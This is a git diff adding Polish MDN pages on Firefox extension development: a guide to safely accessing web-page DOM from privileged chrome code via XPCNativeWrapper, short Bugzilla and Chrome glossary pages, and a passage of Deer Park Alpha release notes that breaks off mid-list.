+<p>{{ languages( { "en": "en/Security_in_Firefox_2", "fr": "fr/La_s\u00e9curit\u00e9_dans_Firefox_2", "zh-tw": "zh_tw/Firefox_2_\u7684\u5b89\u5168\u529f\u80fd" } ) }}</p>
diff --git a/files/pl/bezpieczny_dostęp_do_składników_dom_z_poziomu_chrome/index.html b/files/pl/bezpieczny_dostęp_do_składników_dom_z_poziomu_chrome/index.html
new file mode 100644
index 0000000000..15a9bd0b8f
--- /dev/null
+++ b/files/pl/bezpieczny_dostęp_do_składników_dom_z_poziomu_chrome/index.html
@@ -0,0 +1,89 @@
+---
+title: Bezpieczny dostęp do składników DOM z poziomu chrome
+slug: Bezpieczny_dostęp_do_składników_DOM_z_poziomu_chrome
+tags:
+ - Bezpieczeństwo
+ - DOM
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+ - XPCNativeWrapper
+translation_of: Mozilla/Tech/Xray_vision
+---
+<p>
+</p>
+<h3 id="Wprowadzenie" name="Wprowadzenie"> Wprowadzenie </h3>
+<p>Podczas tworzenia aplikacji i rozszerzeń, w których kodzie JavaScript używane są interfejsy DOM odwołujące się do treści niezaufanych (np. pochodzących ze stron internetowych), należy zachować ostrożność i sprawdzać, czy pobierane informacje rzeczywiście pochodzą z interfejsu API modelu DOM, czy też ich źródłem są własności JavaScript oraz metody pobierania i ustawiania zdefiniowane w kodzie destrukcyjnej strony. W programach Firefox 1.0.3 i Mozilla 1.7.7 wprowadzono mechanizmy utrudniające przesłanie fałszywych danych do aplikacji XUL i rozszerzeń — obecnie, gdy w kodzie JavaScript działającym na poziomie chrome uzyskiwany jest dostęp do własności lub metody DOM danego obiektu, zwracana jest własność lub metoda DOM, a nie zastępujące je niestandardowe własności lub metody zdefiniowane na stronie internetowej. W programie <a href="pl/Firefox_1.5">Firefox 1.5</a> zastosowano jeszcze bardziej ogólne rozwiązanie (aktywne w domyślnej konfiguracji): aby uzyskać niezabezpieczony dostęp do składników DOM z poziomu rozszerzenia, w jego kodzie należy jawnie wyłączyć blokadę.
+</p><p>Istnieją tylko dwa „poprawne” sposoby uzyskiwania dostępu do składników DOM z kodu chrome: dostęp bezpośredni lub jawne użycie obiektu <a href="#Obiekty_XPCNativeWrapper">XPCNativeWrapper</a>. Powszechnie stosowana metoda polegająca na użyciu własności <code>__proto__</code> nie jest bezpieczna w żadnej z wersji programu (patrz poniżej <a href="#Przyk.C5.82ady_NIEPOPRAWNEGO_kodu">Przykłady NIEPOPRAWNEGO kodu</a>).
+</p><p>W poniższej tabeli podsumowano kwestie bezpieczeństwa związane z zastosowaniem dwóch „poprawnych” sposobów:
+</p>
+<table>
+<tbody><tr>
+<th>
+</th><th> Dostęp bezpośredni
+</th><th> Jawne użycie obiektu <a href="#Obiekty_XPCNativeWrapper">XPCNativeWrapper</a>
+</th></tr>
+<tr>
+<th> Firefox 1.0.2 lub starszy
+</th><td> niebezpieczne
+</td><td> bezpieczne
+</td></tr>
+<tr>
+<th> Firefox 1.0.3 lub nowszy (1.0.x)
+</th><td> bezpieczne, gdy zagwarantowano istnienie własności
+</td><td> bezpieczne
+</td></tr>
+<tr>
+<th> Firefox 1.5
+</th><td> bezpieczne, gdy ustawiono preferencję <code>xpcnativewrappers=yes</code> (wartość domyślna)
+</td><td> bezpieczne
+</td></tr></tbody></table>
+<h3 id="Dost.C4.99p_bezpo.C5.9Bredni" name="Dost.C4.99p_bezpo.C5.9Bredni"> Dostęp bezpośredni </h3>
+<p>W skryptach, które zaprojektowano do uruchamiania wyłącznie w Firefoksie w wersji 1.0.3 oraz nowszych wersjach z serii 1.0.x, a także w skryptach działających w Firefoksie 1.5 lub nowszym przy ustawionej preferencji <code>xpcnativewrappers=yes</code>, wystarczy użyć następującego kodu:
+</p>
+<pre class="eval">return contentWindow.document.title == contentWindow.getSelection();
+</pre>
+<p>Dostęp bezpośredni w Firefoksie 1.0.3 (oraz nowszych wersjach z serii 1.0.x) jest bezpieczny dopóki, dopóty gwarantowane jest posiadanie przez obiekt danej własności lub metody, do której dostęp jest uzyskiwany za pośrednictwem deklaracji IDL obiektu. Na przykład własność <code>foo.nodeType</code> jest bezpieczna, jeżeli jest pewne, że zmienna <code>foo</code> jest obiektem typu <code>Node</code>; z kolei metoda <code>foo.getSelection()</code> jest bezpieczna, dopóki jest pewne, że zmienna <code>foo</code> reprezentuje okno (obiekt <code>window</code>). Przestrzeganie tych zasad może nie być łatwe — o ile na przykład obiekt <code>nsIDOMNSHTMLDocument</code> posiada metodę <code>open()</code>, o tyle nie ma jej obiekt <code>nsIDOMXULDocument</code>; użycie metody <code>document.open()</code> w Firefoksie 1.0.3 NIE jest więc bezpieczne, ponieważ obiekt <code>document</code> może reprezentować dokument XUL. W takich przypadkach należy skorzystać z operatora <code>instanceof</code>, aby określić, czy obiekt obsługuje dany interfejs IDL (w omawianym przykładzie jest to interfejs <code>nsIDOMNSHTMLDocument</code>).
+</p><p>W Firefoksie 1.5 dostęp bezpośredni jest zawsze bezpieczny, chyba że w <a href="pl/Rejestracja_Chrome">pliku manifestu rozszerzenia</a> użyto wskaźnika <code>xpcnativewrappers=no</code>. W przypadku braku tego wskaźnika obiekty <a href="#Obiekty_XPCNativeWrapper">XPCNativeWrapper</a> stosowane są domyślnie.
+</p>
+<h3 id="Jawne_u.C5.BCycie_obiektu_XPCNativeWrapper" name="Jawne_u.C5.BCycie_obiektu_XPCNativeWrapper"> Jawne użycie obiektu <a href="#Obiekty_XPCNativeWrapper">XPCNativeWrapper</a> </h3>
+<pre class="eval">var winWrapper = new XPCNativeWrapper(contentWindow,
+ 'document', 'getSelection()');
+var docWrapper = new XPCNativeWrapper(winWrapper.document, 'title');
+return docWrapper.title == winWrapper.getSelection();
+</pre>
+<p>Należy zwrócić uwagę, że w powyższym przykładzie zastosowano <em>dwa</em> obiekty opakowujące, aby uzyskać dostęp do własności <code>window.document.title</code> — jeden do uzyskania dostępu do własności <code>document</code> obiektu <code>window</code>, natomiast drugi do odczytania własności <code>title</code> obiektu <code>document</code>.
+</p><p>Korzystanie z obiektów XPCNativeWrapper jest bezpieczne we wszystkich wersjach Firefoksa, choć zmniejsza czytelność kodu i wymaga opakowania każdego obiektu DOM.
+</p><p>Więcej informacji o stosowanej składni można znaleźć w <a class="external" href="http://kb.mozillazine.org/XPCNativeWrapper">artykule na temat obiektów <code>XPCNativeWrapper</code> w bazie wiedzy witryny MozillaZine</a>.
+</p>
+<h3 id="Obiekty_XPCNativeWrapper" name="Obiekty_XPCNativeWrapper"> Obiekty XPCNativeWrapper </h3>
+<p>Obiekty <code><a href="pl/XPCNativeWrapper">XPCNativeWrapper</a></code> służą do opakowywania innych obiektów, tak aby można było do nich uzyskać bezpieczny dostęp z poziomu kodu uprzywilejowanego.
+</p><p>Istnieją dwa sposoby korzystania z obiektów <code>XPCNativeWrapper</code>. Starszy sposób polega na jawnym użyciu ich w kodzie. Sposób nowszy (zastosowanie preferencji <code>xpcnativewrappers=yes</code>) jest dostępny w programie <a href="pl/Firefox_1.5">Firefox 1.5</a> i w nowszych wersjach (a także we wstępnych wydaniach alfa o nazwie Deer Park oraz edycjach beta).
+</p>
+<h3 id="Przyk.C5.82ady_NIEPOPRAWNEGO_kodu" name="Przyk.C5.82ady_NIEPOPRAWNEGO_kodu"> Przykłady NIEPOPRAWNEGO kodu </h3>
+<p>NIEPOPRAWNE w Firefoksie 1.0.2 i starszych — skrypt może zastąpić metodę pobierania <code>nodeType</code>:
+</p>
+<pre class="eval">return targetNode.nodeType == 1;
+</pre>
+<p>NIEPOPRAWNE w Firefoksie 1.0.2 i starszych — skrypt może zastąpić metodę <code>getSelection</code>:
+</p>
+<pre class="eval">return contentWindow.getSelection();
+</pre>
+<p>NIEPOPRAWNE we <em>wszystkich</em> wersjach. Niektórzy programiści korzystali kiedyś z tego niepewnego sposobu. W starszych wersjach przeglądarki skrypt może zastąpić metodę <code>getSelection</code>, <em>a ponadto</em> sposób ten w ogóle nie działa w programach Firefox 1.0.3 i Mozilla 1.7.7:
+</p>
+<pre class="eval">return contentWindow.__proto__.getSelection.call(contentWindow);
+</pre>
+<p>NIEPOPRAWNE w Firefoksie 1.0.2 i starszych — skrypt może zastąpić wewnętrzną metodę pobierania, nawet jeżeli metoda zewnętrzna jest bezpieczna:
+</p>
+<pre class="eval">var winWrapper = new XPCNativeWrapper(contentWindow, 'document');
+// dostęp do obiektu contentWindow.document jest teraz bezpieczny, ale odczytywanie własności .title
+// spoza zwracanego dokumentu wciąż nie jest bezpieczne.
+return winWrapper.document.title;
+</pre>
+<p>NIEPOPRAWNE w Firefoksie w wersjach starszych niż 1.5 — skrypt może ustawić metodę <code>document.open</code> dla dokumentów innych niż dokumenty HTML, w których nie istnieje metoda DOM <code>document.open</code>:
+</p>
+<pre class="eval">return contentWindow.document.open();
+</pre>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Safely_accessing_content_DOM_from_chrome", "fr": "fr/Acc\u00e8s_s\u00e9curis\u00e9_au_contenu_DOM_depuis_le_chrome", "ja": "ja/Safely_accessing_content_DOM_from_chrome" } ) }}
diff --git a/files/pl/bugzilla/index.html b/files/pl/bugzilla/index.html
new file mode 100644
index 0000000000..83b19fadeb
--- /dev/null
+++ b/files/pl/bugzilla/index.html
@@ -0,0 +1,27 @@
+---
+title: Bugzilla
+slug: Bugzilla
+tags:
+ - 'Programowanie_Mozilli:Narzędzia'
+ - QA
+ - Wszystkie_kategorie
+translation_of: Mozilla/Bugzilla
+---
+<p><a class="link-https" href="https://bugzilla.mozilla.org/">bugzilla.mozilla.org</a> (często skracane do b.m.o) jest projektem Mozilla.org. Jest to system śledzenia błędów oraz baza danych do rejestrowania błędów i próśb usprawnień Firefoksa, Thunderbirda, SeaMonkey, Camino i innych projektów mozilla.org.</p>
+
+<h3 id="U.C5.BCywanie_Bugzilli" name="U.C5.BCywanie_Bugzilli">Używanie Bugzilli</h3>
+
+<p>Zobacz stronę <a href="pl/Co_robi%c4%87_a_czego_nie_w_Bugzilli">Co robić a czego nie w Bugzilli</a> oraz <a class="link-https" href="https://bugzilla.mozilla.org/page.cgi?id=etiquette.html">stronę etykiety Bugzilli</a>, by dowiedzieć się jakich reguł należy przestrzegać używając bugzilli.</p>
+
+<p>Zobacz stronę <a href="pl/QA">Kontroli jakości (QA)</a>, aby dowiedzieć się <a class="external" href="http://www.mozilla.org/quality/help/beginning-duplicate-finding.html">jak sprawdzić czy błąd został już wcześniej zgłoszony</a> lub <a href="pl/Wytyczne_zg%c5%82aszania_b%c5%82%c4%99d%c3%b3w">Wytyczne zgłaszania błędów</a>, aby zgłosić nowy błąd.</p>
+
+<p>Przeczytaj artykuł <a href="pl/Aplikowanie_swojej_poprawki_do_drzewa">Aplikowanie swojej poprawki do drzewa</a>, aby dowiedzieć się jak użyć bugzilli do wprowadzenia kodu do Firefoksa lub innych projektów.</p>
+
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+
+<ul>
+ <li><a class="external" href="http://www.mozilla.org/bugs/">Wprowadzenie do Bugzilli</a></li>
+ <li><a class="external" href="http://www.squarefree.com/bugzilla/quicksearch-help.html">Strona pomocy Bugzilla QuickSearch</a>. QuickSearch jest prostym, szybkim i bardzo skutecznym sposobem na wysyłanie zapytań do bugzilli.</li>
+ <li><a class="external" href="http://www.bugzilla.org">bugzilla.org</a> - strona projektu</li>
+ <li>{{interwiki('wikipedia', 'Bugzilla', 'wikipedia:Bugzilla') }} - ogólny opis Bugzilli (bez ograniczenia do projektów Mozilli)</li>
+</ul>
diff --git a/files/pl/chrome/index.html b/files/pl/chrome/index.html
new file mode 100644
index 0000000000..6858f7d186
--- /dev/null
+++ b/files/pl/chrome/index.html
@@ -0,0 +1,24 @@
+---
+title: Chrome
+slug: Chrome
+tags:
+ - Toolkit API
+ - Wszystkie_kategorie
+translation_of: Glossary/Chrome
+---
+<p>
+</p><p><b>Chrome</b> w całości jest zestawem elementów interfejsu użytkownika określonej aplikacji lub <a href="pl/Rozszerzenia">rozszerzenia</a>.
+</p>
+<h2 id="Og.C3.B3lny_przegl.C4.85d" name="Og.C3.B3lny_przegl.C4.85d"> Ogólny przegląd </h2>
+<p><i>Paczki chrome</i> zawierają ustawienia <i><a href="pl/Rejestracja_Chrome">dostawcy Chrome</a></i>. Są w nich trzy proste typy dostawcy chrome: </p>
+<ul><li> <b>Zawartość</b>. Zawartość składa się z jakiegokolwiek typu pliku, który możemy obejrzeć wewnątrz Mozilli. W szczególności, dostarczona zawartość często składa się z ustawień <a href="pl/XUL">XUL</a>, <a href="pl/JavaScript">JavaScript</a> i wiązań plików <a href="pl/XBL">XBL</a>.
+</li><li> <b>Pliki lokalizacyjne</b>. Tłumaczenia obsługi wielojęzykowej. Dwa główne typy plików to pliki <a href="pl/Kurs_XUL/Lokalizacja">DTD</a> i styl <a href="pl/Kurs_XUL/Plik_w%c5%82asno%c5%9bci">własności plików</a> java.
+</li><li> <b>Skórka</b>. Dostawca skórki dostarcza kompletne dane wyglądu interfejsu użytkownika. Składa się z plików <a href="pl/CSS">CSS</a> i obrazków.
+</li></ul>
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h2>
+<p>(Uważaj, który z dokumentów poniżej wspomina o plikach &lt;tt&gt;contents.rdf&lt;/tt&gt;, i w prosty sposób umożliwia rejestrację dostarczonego chrome - stosując <a href="pl/Rejestracja_Chrome">Manifesty Chrome</a> - jest obsługiwane od <a href="pl/Firefox_1.5">Firefox 1.5</a> / Toolkit 1.8)
+</p>
+<ul><li> <a href="pl/Kurs_XUL/Struktura_XUL">Kurs XUL:Struktura XUL</a>
+</li><li> <a class="external" href="http://xulplanet.com/tutorials/xulapp/newpackage.html">Paczki Chrome</a>
+</li></ul>
+{{ languages( { "en": "en/Chrome", "fr": "fr/Chrome", "ja": "ja/Chrome" } ) }}
diff --git a/files/pl/co_nowego_w_deer_park_alpha/index.html b/files/pl/co_nowego_w_deer_park_alpha/index.html
new file mode 100644
index 0000000000..4eafb791e4
--- /dev/null
+++ b/files/pl/co_nowego_w_deer_park_alpha/index.html
@@ -0,0 +1,262 @@
+---
+title: Co nowego w Deer Park Alpha
+slug: Co_nowego_w_Deer_Park_Alpha
+translation_of: Mozilla/Firefox/Releases/1.5/What_s_new_in_1.5_alpha
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>Ta strona w dużej mierze bazuje na <a class="external" href="http://www.squarefree.com/burningedge/releases/1.1.html" rel="freelink">http://www.squarefree.com/burningedg...eases/1.1.html</a> (dzięki Jesse).</p>
+
+<h3 id="Nowe_funkcje_dla_autor.C3.B3w_stron_WWW" name="Nowe_funkcje_dla_autor.C3.B3w_stron_WWW">Nowe funkcje dla autorów stron WWW</h3>
+
+<h4 id="HTML" name="HTML">HTML</h4>
+
+<dl>
+ <dt>Możliwość aktywacji elementów z <code>tabindex="-1"</code></dt>
+ <dd>Elementy z ujemną wartością tabIndex mogą teraz być aktywowane (np. za pomocą klawiatury), mimo że nie znajdują się w porządku przełączania (np. klawiszem Tab.)</dd>
+</dl>
+
+<dl>
+ <dt>Możliwość wysyłania elementów Object w formularzach</dt>
+ <dd>Zgodnie ze specyfikacją HTML4, elementy <code>&lt;object&gt;</code> mogą być teraz wysyłane jako część formularza.</dd>
+</dl>
+
+<h4 id="CSS" name="CSS">CSS</h4>
+
+<dl>
+ <dt>Zagnieżdzenie cytatów (CSS2)</dt>
+ <dd>Począwszy od tej wersji, <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#quotes-specify">własność <code>quotes</code> z CSS2</a> jest w pełni obsługiwana, włączając w to poprawne wyświetlanie open-quote i close-quote (w zależności od poziomu zagnieżdżenia).</dd>
+</dl>
+
+<dl>
+ <dt><code><span class="nowiki">:only-child</span></code> (CSS3)</dt>
+ <dd>Ten selektor CSS3 pozwala <a class="external" href="http://www.w3.org/TR/2001/CR-css3-selectors-20011113/#only-child-pseudo">wybrać element</a>, który jest jedynym elementem na swoim poziomie drzewa DOM.</dd>
+</dl>
+
+<dl>
+ <dt>Kolumny CSS3</dt>
+ <dd>Eksperymentalne wsparcie dla proponowanego szkicu <a class="external" href="http://www.w3.org/TR/2001/WD-css3-multicol-20010118/">tworzenia wielokolumnowych układów stron w CSS3</a>, dzięki którym w łatwy sposób można uzyskać układ strony podobny do układu gazetowego.</dd>
+</dl>
+
+<dl>
+ <dt>Własności <code>overflow-x</code> oraz <code>overflow-y</code> (CSS3)</dt>
+ <dd>Własności te służą do niezależnej kontroli zachowania własności overflow w pionie i poziomie. Na przykład: treść wykraczająca poza blok w poziomie może zostać ukryta, zaś treść wykraczająca poza blok w pionie może być przewijana.</dd>
+</dl>
+
+<dl>
+ <dt>Kursory w CSS3</dt>
+ <dd>Wspieranych jest teraz więcej <a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">nazw kursorów myszy</a>.</dd>
+</dl>
+
+<dl>
+ <dt>Wartości URI dla własności <code>cursor</code> z CSS</dt>
+ <dd>Na platformach Windows, OS/2 i Linux (Gtk+ 2.x) Firefox obsługuje teraz wyświetlanie zewnętrznych obrazków jako kursora myszy w sytuacji, gdy kursor znajdzie się nad danym elementem drzewa DOM. Każdy format obrazu wspierany przez Gecko może zostać użyty jako obrazek (SVG, animowany GIF oraz kursory ANI nie są wspierane). Zobacz <a href="pl/U%c5%bcycie_warto%c5%9bci_URL_dla_w%c5%82asno%c5%9bci_cursor">Użycie wartości URL dla własności cursor</a>, aby dowiedzieć się więcej o tej funkcji.</dd>
+</dl>
+
+<dl>
+ <dt><code>-moz-outline-radius</code></dt>
+ <dd>Linie zewnętrzne w CSS mogą teraz mieć zaokrąglone narożniki.</dd>
+</dl>
+
+<dl>
+ <dt>Własność <code>outline</code></dt>
+ <dd>Można teraz korzystać z własności <a class="external" href="http://www.w3.org/TR/css3-ui/#outline1">outline</a> z CSS. Różni się ona od obramowania (border) tym, że nie wpływa na układ strony.</dd>
+</dl>
+
+<dl>
+ <dt>Liczniki w treści tworzonej przez CSS</dt>
+ <dd><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#counters">Liczniki CSS2</a> są teraz całkowicie wspierane (implementacja nie jest zgodna z aktualnym szkicem CSS 2.1, ale jest zgodna z nadchodzącym). Pozwala to na automatyczne numerowanie sekcji, nagłówków itp. za pomocą arkuszy stylów.</dd>
+</dl>
+
+<h4 id="JavaScript_i_DOM" name="JavaScript_i_DOM">JavaScript i DOM</h4>
+
+<dl>
+ <dt>Rozszerzenia obiektu Array</dt>
+ <dd>Aby uprościć najczęstsze zadania, do obiektu Array zostały dodane nowe metody. Zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array">Obiekt Array w JavaScripcie 1.5</a>.</dd>
+</dl>
+
+<dl>
+ <dt><code>document.open("text/plain")</code></dt>
+ <dd>Tekst zawarty w nowych dokumentach stworzonych za pomocą document.open("text/plain") jest teraz traktowany jako tekst, a nie HTML, więc nienaruszone pozostają przełamania linii, znaczniki natomiast nie są przetwarzane.</dd>
+</dl>
+
+<dl>
+ <dt>XML Events</dt>
+ <dd>"XML Events" jest specyfikacją W3C dodającą do języków XML możliwość stosowania obiektów nasłuchujących (event listeners) i uchwytów (event handlers).</dd>
+</dl>
+
+<dl>
+ <dt>Anulowanie zdarzenia keydown</dt>
+ <dd>Anulowanie zdarzenia keydown działa teraz w sposób prawidłowy i - zgodnie ze specyfikacją DOM - anuluje wszelkie odpowiednie zdarzenia keyup/keypress.</dd>
+</dl>
+
+<dl>
+ <dt>API Dostępności dla DHTML</dt>
+ <dd>Mozilla pozwala teraz autorom DHTML na dodawanie ról i stanów semantycznych do własnych elementów oraz udostępnia te informacje poprzez MSAA i ATK.</dd>
+</dl>
+
+<dl>
+ <dt>Poprawki wydajności DHTML</dt>
+ <dd>Wprowadzonych zostało wiele zmian mających na celu wzrost wydajności DHTML-a i płynność działania.</dd>
+</dl>
+
+<h4 id="Grafika" name="Grafika">Grafika</h4>
+
+<dl>
+ <dt>Wsparcie dla SVG</dt>
+ <dd>SVG to powiązana z DOM-em niezależna od rozdzielczości skalowalna grafika wektorowa, której specyfikację opracowało W3C. W tej wersji Firefoksa dostępne jest niepełne, testowe wsparcie dla SVG (SVG 1.1 Full). Nie są obsługiwane filtry, deklaratywne animacje (SMIL) oraz kroje pisma opisane w SVG.</dd>
+</dl>
+
+<dl>
+ <dt>Wsparcie dla <code>&lt;canvas&gt;</code></dt>
+ <dd><code>&lt;canvas&gt;</code> to pole do rysowania, w którym można stosować skrypty i które służy do dynamicznego tworzenia grafiki bitmapowej. Więcej informacji w artykule <a href="pl/Rysowanie_grafik_za_pomoc%c4%85_Canvas">Rysowanie grafik za pomocą Canvas</a>.</dd>
+</dl>
+
+<h4 id="R.C3.B3.C5.BCne" name="R.C3.B3.C5.BCne">Różne</h4>
+
+<dl>
+ <dt>Wsparcie dla kodu odpowiedzi HTTP/1.1 408</dt>
+ <dd>Przedłużające się połączenie jest teraz poprawnie zamykane, kiedy otrzymany zostanie kod odpowiedzi 408 (<em>Upłynął czas zapytania</em> ). Zapytanie jest ponawiane wraz z nowym połączeniem.</dd>
+</dl>
+
+<dl>
+ <dt>Adresy URI są teraz zawsze wysyłane jako UTF8</dt>
+ <dd>Adresy URI są teraz zawsze wysyłane do serwera jako UTF8, niezależnie od kodowania powiązanej strony. Dzięki temu odnośniki i obrazki o nazwach zawierających znaki spoza zakresu ASCII będą działać poprawnie.</dd>
+</dl>
+
+<dl>
+ <dt>Wsparcie dla XForms</dt>
+ <dd>Opracowany przez W3C język <a class="external" href="http://www.w3.org/MarkUp/Forms/">XML Forms</a> pozwala na pisanie złożonych formularzy w XML-u i zawiera funkcje, których nie posiada normalny HTML, takie jak walidacja po stronie klienta w oparciu o <a class="external" href="http://www.w3.org/XML/Schema">XML Schema</a> oraz wysyłanie i odbieranie XML. Wsparcie dla XForms jest dostępne w formie rozszerzenia - więcej informacji na <a class="external" href="http://www.mozilla.org/projects/xforms/">stronie projektu Mozilla XForms</a>.</dd>
+</dl>
+
+<h3 id="Nowe_rozszerzenia_funkcji_dla_programist.C3.B3w" name="Nowe_rozszerzenia_funkcji_dla_programist.C3.B3w">Nowe rozszerzenia funkcji dla programistów</h3>
+
+<dl>
+ <dt>Ukryta kolumna referrer w historii</dt>
+ <dd>Rozszerzenia mogą teraz dostać się do informacji o adresie z którego osoba weszła na daną stronę przechowywanego w historii. Ta funkcja może być przydatna do stworzenia alternatywnego widoku historii oraz innych przydatnych funkcji {{bug(128398) }}</dd>
+</dl>
+
+<dl>
+ <dt>API do określania priorytetu połączeń HTTP</dt>
+ <dd>Biblioteka sieciowa Mozilli wspiera teraz określanie priorytetów dla połączeń do określonego serwera. Zobacz {{ Interface("nsISupportsPriority") }}. {{bug(278531) }}</dd>
+</dl>
+
+<dl>
+ <dt>API do zarządzania użytkownikami i arkuszami stylów UA</dt>
+ <dd>Rozszerzenia mogą teraz rejestrować adresy URI arkuszy stylów jako dodatkowe arkusze stylów użytkownika i przeglądarki. Oznacza to, że rozszerzenia nie muszą już więcej edytować pliku <code>userContent.css</code>, aby dodać style (na przykład do załączania wiązań XBL) do stron WWW. Zobacz <a href="pl/Using_the_Stylesheet_Service">Using the Stylesheet Service</a>.</dd>
+</dl>
+
+<dl>
+ <dt>API do konfigurowania ustawień proxy</dt>
+ <dd>Rozszerzenia mogą teraz łatwo nadpisać domyślną konfigurację serwerów pośredniczących bez wpływania na widoczne przez użytkownika preferencje. Zobacz {{ Interface("nsIProtocolProxyService") }}, {{ Interface("nsIProtocolProxyFilter") }}, oraz {{ Interface("nsIProtocolProxyCallback") }}. {{bug(282442) }}</dd>
+</dl>
+
+<dl>
+ <dt>Dynamiczne pliki Overlay</dt>
+ <dd>Została dodana możliwość dodawania plików nakładek XUL po wyświetleniu dokumentu. Zobacz {{ Interface("nsIDOMXULDocument") }}. {{bug(282103) }}</dd>
+</dl>
+
+<dl>
+ <dt>E4X</dt>
+ <dd>Silnik JavaScriptu Mozilli obsługuje teraz język ECMAScript dla XML-a (E4X), jest to draft standardu ECMA, który dodaje typ danych XML-a do języka i nowe operatory do najpopularniejszych operacji na obiektach XML. Zobacz <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-357.htm">specyfikację ECMA</a>. {{bug(246441) }}</dd>
+</dl>
+
+<dl>
+ <dt>Przezroczyste okna (Windows/Linux)</dt>
+ <dd>Na platformach Windows i Linux, okna XUL mogą teraz mieć przezroczyste tło. Pozwala to na prześwitywanie czegokolwiek co znajduje się pod nim.</dd>
+</dl>
+
+<dl>
+ <dt>Dodawanie znaczników do ciągu UA</dt>
+ <dd>Jest teraz możliwe, aby aplikacje, rozszerzenia oraz producenci dodawali własne znaczniki do ciągów UA (User-Agent), bez ryzyka nadpisania innych dodanych ciągów. Zobacz <a class="external" href="http://www.mozilla.org/build/revised-user-agent-strings.html">dokumentację</a>. {{bug(274928) }}</dd>
+</dl>
+
+<dl>
+ <dt>Rejestr chrome Toolkit-u</dt>
+ <dd>Znacznie poprawiony został system rejestracji Chrome. Korzysta on teraz z manifestów tekstowych i nie korzysta już z plików cache chrome.rdf/overlayinfo. Zobacz <a href="pl/Rejestry_Chrome">Rejestry Chrome</a>.</dd>
+</dl>
+
+<dl>
+ <dt>Menedżer rozszerzeń</dt>
+</dl>
+
+<ul>
+ <li>Rozszerzenia mogą być teraz przechowywane w katalogach poza katalogiem rozszerzeń profilu i aplikacji.</li>
+ <li>Można teraz instalować rozszerzenia poprzez umieszczenie pliku XPI w katalogu rozszerzeń profilu lub aplikacji.</li>
+ <li>Deinstalacja rozszerzeń uruchamia teraz kasowanie katalogu rozszerzenia jeśli znajduje się on w katalogu rozszerzeń aplikacji lub profilu.</li>
+</ul>
+
+<dl>
+ <dt>Nowe wiązania preferencji</dt>
+ <dd><a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=263028">Nowe wiązania</a> pozwala znacznie łatwiej tworzyć okna preferencji dla rozszerzeń. Nowe okna preferencji wspierają automatyczne zatwierdzanie ustawień co jest domyślnie włączone na Macintoshu i Linuksie.</dd>
+</dl>
+
+<dl>
+ <dt>API do implementacji nowych parametrów linii komend</dt>
+ <dd>Zostało wprowadzone nowe API, dzięki któremu rozszerzenia mogą łatwo obsługiwać flagi linii komend. To API będzie stabilne i zamrożone dla 1.1. Zobacz interfejsy {{ Interface("nsICommandLine") }} oraz {{ Interface("nsICommandLineHandler") }}.</dd>
+</dl>
+
+<dl>
+ <dt>Wsparcie dla XTF</dt>
+ <dd>eXtensible Tag Framework pozwala dodawać wsparcie dla nowych przestrzeni nazw używając komponentów XPCOM w Mozilli (napisanych w JavaScripcie lub C++). Na przykład <a class="external" href="http://www.mozilla.org/projects/xforms">projekt Mozilla XForms</a> używa XTF do dodawania wsparcia dla przestrzeni nazw XForm. Zobacz <a class="external" href="http://www.croczilla.com/xtf">Stronę domową XTF</a></dd>
+</dl>
+
+<h3 id="Nowe_funkcje_przegl.C4.85darki" name="Nowe_funkcje_przegl.C4.85darki">Nowe funkcje przeglądarki</h3>
+
+<h4 id="Poprawiona_wydajno.C5.9B.C4.87" name="Poprawiona_wydajno.C5.9B.C4.87">Poprawiona wydajność</h4>
+
+<dl>
+ <dt>Automatyczne zatwierdzanie w Linuksie i Macintoshu</dt>
+ <dd>Zmiany wprowadzone w oknie preferencji są zatwierdzane natychmiast, w zgodzie z typowym zachowaniem aplikacji Mac OS X i Gnome.</dd>
+</dl>
+
+<p>Ta zmiana jest zgodna z Human Interface Guidelines Apple i GNOME'a.</p>
+
+<dl>
+ <dt>Możliwość przeszukiwania okna akcji pobierania</dt>
+ <dd>Jest teraz możliwe przeszukiwanie w menedżerze Akcji Pobierania po rozszerzeniu pliku i opisie.</dd>
+</dl>
+
+<dl>
+ <dt>Możliwość przeszukiwania menedżera ciastek</dt>
+ <dd>Ciastka mogą być teraz wyszukiwane po adresie hosta/domeny lub nazwie ciastka, oraz są posortowane względem hosta w drzewie zamiast w płaskiej liście.</dd>
+</dl>
+
+<h4 id="Wdra.C5.BCanie" name="Wdra.C5.BCanie">Wdrażanie</h4>
+
+<dl>
+ <dt>Pakiet MSI Firefoksa</dt>
+ <dd>Nowy pakiet instalacyjny MSI usprawnia rozproszoną instalację i pozwala na większą elastyczność administratorom sieci chcącym wdrożyć Firefoksa w środowisku korporacyjnym.</dd>
+</dl>
+
+<dl>
+ <dt>Wsparcie dla katalogu "temp" profilu na lokalnym systemie plików</dt>
+ <dd>Jest teraz możliwe składowanie plików cache z sieci (kopii odwiedzonych stron) oraz plików cache XUL-a (skopilowanego kodu interfejsu użytkownika) na dysku lokalnym, a reszty profilu na dysku sieciowym. Spowoduje to wzrost wydajności i spadek obciążenia sieci dla użytkowników korzystających ze środowisk sieciowych.</dd>
+</dl>
+
+<h4 id="Inne" name="Inne">Inne</h4>
+
+<dl>
+ <dt>Funkcja "Wyczyść prywatne dane"</dt>
+ <dd>Funkcja "Wyczyść prywatne dane" pozwala w łatwy sposób usunąć historię przeglądania, ciastka, cache, zachowane informacje formularzy i inne prywatne dane. Elementy do usunięcia mogą zostać wybrane przez użytkownika, a funkcja może zostać wywołana albo przez skrót klawiatury, albo przez wybór z menu.</dd>
+</dl>
+
+<dl>
+ <dt>Miniaturki obrazków jako ikony kart</dt>
+ <dd>Podczas przeglądania obrazków, ikony kart wyświetlają teraz miniaturki obrazków.</dd>
+</dl>
+
+<dl>
+ <dt>Szybkie wstecz (i naprzód)</dt>
